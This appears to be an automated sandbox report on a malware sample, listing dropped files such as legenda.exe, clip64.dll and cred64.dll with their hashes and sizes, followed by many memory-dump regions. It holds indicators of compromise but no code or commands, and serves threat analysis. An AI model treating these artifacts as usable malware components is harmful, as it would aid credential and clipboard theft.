5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

Filesize
235KB

MD5
5086db99de54fca268169a1c6cf26122

SHA1
003f768ffcc99bda5cda1fb966fda8625a8fdc3e

SHA256
42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

SHA512
90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

Download Submit
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

Filesize
89KB

MD5
16cf28ebb6d37dbaba93f18320c6086e

SHA1
eae7d4b7a9636329065877aabe8d4f721a26ab25

SHA256
c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

SHA512
f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

Download Submit
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

Filesize
89KB

MD5
16cf28ebb6d37dbaba93f18320c6086e

SHA1
eae7d4b7a9636329065877aabe8d4f721a26ab25

SHA256
c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

SHA512
f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

Download Submit
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

Filesize
89KB

MD5
16cf28ebb6d37dbaba93f18320c6086e

SHA1
eae7d4b7a9636329065877aabe8d4f721a26ab25

SHA256
c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

SHA512
f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

Download Submit
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll

Filesize
223B

MD5
94cbeec5d4343918fd0e48760e40539c

SHA1
a049266c5c1131f692f306c8710d7e72586ae79d

SHA256
48eb3ca078da2f5e9fd581197ae1b4dfbac6d86040addbb305e305c014741279

SHA512
4e92450333d60b1977f75c240157a8589cfb1c80a979fbe0793cc641e13556004e554bc6f9f4853487dbcfcdc2ca93afe610649e9712e91415ed3f2a60d4fec0

Download Submit
C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe

Filesize
575.6MB

MD5
8004573ffc83d2ef061496706d3d6254

SHA1
7d4729ad276ac14da31371d514028505dcfa8938

SHA256
73b49c6b7299a686d922d009295d13be74640b26fef7c82ec0d5411bdf2239bf

SHA512
c6d4fdc6ad51ba3ea2682502b2edaa12e105b5d197b7dd6e81b86ef5b2ee8298f3907885ea9a32bef2b6982fe6136d74457c5aeb6dcb4a73a495e8a618a246c0

Download Submit
C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe

Filesize
564.2MB

MD5
f202058c088699c00965cdfd05c74ed2

SHA1
3be4ca2904f2bb86ca43a9edc300a2a924eed331

SHA256
d419ae5aed8e009b043688a07bac38bdc6b9f16cd55cb6c090632745b79bdba9

SHA512
9609e959da65ecdb112ab077dbf0ddaba023a547b1fd526376458de489702d18df8d24ae1017a63197adf212d860682c66f35e544ebcd2e91f4b6a6dcc766d62

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Roaming\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
memory/408-479-0x0000000000400000-0x00000000004AD000-memory.dmp

Filesize
692KB

Download
memory/408-429-0x0000000000400000-0x00000000004AD000-memory.dmp

Filesize
692KB

Download
memory/408-302-0x00000000004B0000-0x00000000004CD000-memory.dmp

Filesize
116KB

Download
memory/544-462-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/544-370-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/544-540-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/548-390-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/996-558-0x00007FF7079D0000-0x00007FF7081C4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-527-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-431-0x00007FFC8A920000-0x00007FFC8A930000-memory.dmp

Filesize
64KB

Download
memory/1956-469-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-471-0x00007FF4FDAB0000-0x00007FF4FDE81000-memory.dmp

Filesize
3.8MB

Download
memory/1956-530-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-486-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-480-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-464-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-489-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-425-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-424-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/1956-531-0x00007FF4FDAB0000-0x00007FF4FDE81000-memory.dmp

Filesize
3.8MB

Download
memory/1956-418-0x00007FF4FDAB0000-0x00007FF4FDE81000-memory.dmp

Filesize
3.8MB

Download
memory/1956-417-0x00007FFC8A910000-0x00007FFC8A920000-memory.dmp

Filesize
64KB

Download
memory/1956-412-0x0000000140000000-0x000000014105D000-memory.dmp

Filesize
16.4MB

Download
memory/2100-205-0x0000000005410000-0x0000000005A28000-memory.dmp

Filesize
6.1MB

Download
memory/2100-212-0x0000000005150000-0x0000000005160000-memory.dmp

Filesize
64KB

Download
memory/2100-215-0x0000000006860000-0x0000000006A22000-memory.dmp

Filesize
1.8MB

Download
memory/2100-214-0x0000000006590000-0x00000000065E0000-memory.dmp

Filesize
320KB

Download
memory/2100-213-0x0000000006610000-0x0000000006686000-memory.dmp

Filesize
472KB

Download
memory/2100-206-0x0000000004F40000-0x000000000504A000-memory.dmp

Filesize
1.0MB

Download
memory/2100-216-0x0000000006F60000-0x000000000748C000-memory.dmp

Filesize
5.2MB

Download
memory/2100-204-0x00000000005D0000-0x0000000000602000-memory.dmp

Filesize
200KB

Download
memory/2100-211-0x0000000005A30000-0x0000000005A96000-memory.dmp

Filesize
408KB

Download
memory/2100-210-0x0000000005340000-0x00000000053D2000-memory.dmp

Filesize
584KB

Download
memory/2100-209-0x0000000004ED0000-0x0000000004F0C000-memory.dmp

Filesize
240KB

Download
memory/2100-208-0x0000000005150000-0x0000000005160000-memory.dmp

Filesize
64KB

Download
memory/2100-207-0x0000000004E70000-0x0000000004E82000-memory.dmp

Filesize
72KB

Download
memory/2388-430-0x0000000005890000-0x00000000058A0000-memory.dmp

Filesize
64KB

Download
memory/2388-474-0x0000000005890000-0x00000000058A0000-memory.dmp

Filesize
64KB

Download
memory/2868-155-0x000000001B570000-0x000000001B6BE000-memory.dmp

Filesize
1.3MB

Download
memory/2868-154-0x0000000000A50000-0x0000000000A5A000-memory.dmp

Filesize
40KB

Download
memory/2868-157-0x000000001B570000-0x000000001B6BE000-memory.dmp

Filesize
1.3MB

Download
memory/2924-183-0x0000000000640000-0x000000000066D000-memory.dmp

Filesize
180KB

Download
memory/2924-190-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-185-0x00000000008F0000-0x0000000000900000-memory.dmp

Filesize
64KB

Download
memory/2924-162-0x0000000004B20000-0x00000000050C4000-memory.dmp

Filesize
5.6MB

Download
memory/2924-163-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-164-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-180-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-195-0x0000000000400000-0x00000000004B8000-memory.dmp

Filesize
736KB

Download
memory/2924-194-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-176-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-192-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-189-0x00000000008F0000-0x0000000000900000-memory.dmp

Filesize
64KB

Download
memory/2924-178-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-174-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-172-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-170-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-187-0x00000000008F0000-0x0000000000900000-memory.dmp

Filesize
64KB

Download
memory/2924-168-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-200-0x0000000000400000-0x00000000004B8000-memory.dmp

Filesize
736KB

Download
memory/2924-166-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-198-0x00000000008F0000-0x0000000000900000-memory.dmp

Filesize
64KB

Download
memory/2924-197-0x00000000008F0000-0x0000000000900000-memory.dmp

Filesize
64KB

Download
memory/2924-199-0x00000000008F0000-0x0000000000900000-memory.dmp

Filesize
64KB

Download
memory/2924-182-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2924-186-0x00000000024C0000-0x00000000024D2000-memory.dmp

Filesize
72KB

Download
memory/2984-544-0x0000029EDD320000-0x0000029EDD330000-memory.dmp

Filesize
64KB

Download
memory/2984-546-0x0000029EDD320000-0x0000029EDD330000-memory.dmp

Filesize
64KB

Download
memory/2984-550-0x0000029EF88E0000-0x0000029EF8AD5000-memory.dmp

Filesize
2.0MB

Download
memory/2984-551-0x0000029EF9040000-0x0000029EF9242000-memory.dmp

Filesize
2.0MB

Download
memory/2984-522-0x0000029EDD320000-0x0000029EDD330000-memory.dmp

Filesize
64KB

Download
memory/2984-545-0x0000029EDD320000-0x0000029EDD330000-memory.dmp

Filesize
64KB

Download
memory/2984-562-0x0000029EF9040000-0x0000029EF9242000-memory.dmp

Filesize
2.0MB

Download
memory/2984-523-0x0000029EDD320000-0x0000029EDD330000-memory.dmp

Filesize
64KB

Download
memory/2984-524-0x0000029EDD320000-0x0000029EDD330000-memory.dmp

Filesize
64KB

Download
memory/3080-270-0x0000000000870000-0x00000000008AE000-memory.dmp

Filesize
248KB

Download
memory/3080-416-0x0000000000400000-0x00000000004BD000-memory.dmp

Filesize
756KB

Download
memory/3080-463-0x0000000000400000-0x00000000004BD000-memory.dmp

Filesize
756KB

Download
memory/3136-271-0x0000000000C50000-0x0000000000D36000-memory.dmp

Filesize
920KB

Download
memory/3136-291-0x0000000005670000-0x0000000005680000-memory.dmp

Filesize
64KB

Download
memory/3604-434-0x00007FFC8A910000-0x00007FFC8A920000-memory.dmp

Filesize
64KB

Download
memory/3604-456-0x00000177BF7C0000-0x00000177BFCE8000-memory.dmp

Filesize
5.2MB

Download
memory/3604-482-0x00000177A3750000-0x00000177A3760000-memory.dmp

Filesize
64KB

Download
memory/3604-483-0x00000177A3750000-0x00000177A3760000-memory.dmp

Filesize
64KB

Download
memory/3604-481-0x00000177A3750000-0x00000177A3760000-memory.dmp

Filesize
64KB

Download
memory/3604-478-0x00000177A19E0000-0x00000177A1A83000-memory.dmp

Filesize
652KB

Download
memory/3604-529-0x00000177A19E0000-0x00000177A1A83000-memory.dmp

Filesize
652KB

Download
memory/3604-475-0x00000177A3750000-0x00000177A3760000-memory.dmp

Filesize
64KB

Download
memory/3604-428-0x00000177A19E0000-0x00000177A1A83000-memory.dmp

Filesize
652KB

Download
memory/3604-498-0x00000177A3750000-0x00000177A3760000-memory.dmp

Filesize
64KB

Download
memory/3604-449-0x00000177A3750000-0x00000177A3760000-memory.dmp

Filesize
64KB

Download
memory/3604-448-0x00000177A3750000-0x00000177A3760000-memory.dmp

Filesize
64KB

Download
memory/3604-437-0x00000177BECE0000-0x00000177BED02000-memory.dmp

Filesize
136KB

Download
memory/3604-433-0x00000177A19E0000-0x00000177A1A83000-memory.dmp

Filesize
652KB

Download
memory/3604-432-0x00000177A19E0000-0x00000177A1A83000-memory.dmp

Filesize
652KB

Download
memory/4748-342-0x00000000053D0000-0x00000000053E0000-memory.dmp

Filesize
64KB

Download
memory/4908-472-0x0000000000400000-0x00000000004BD000-memory.dmp

Filesize
756KB

Download
memory/4956-341-0x0000000004E70000-0x0000000004E80000-memory.dmp

Filesize
64KB

Download
memory/4956-314-0x0000000000520000-0x0000000000552000-memory.dmp

Filesize
200KB

Download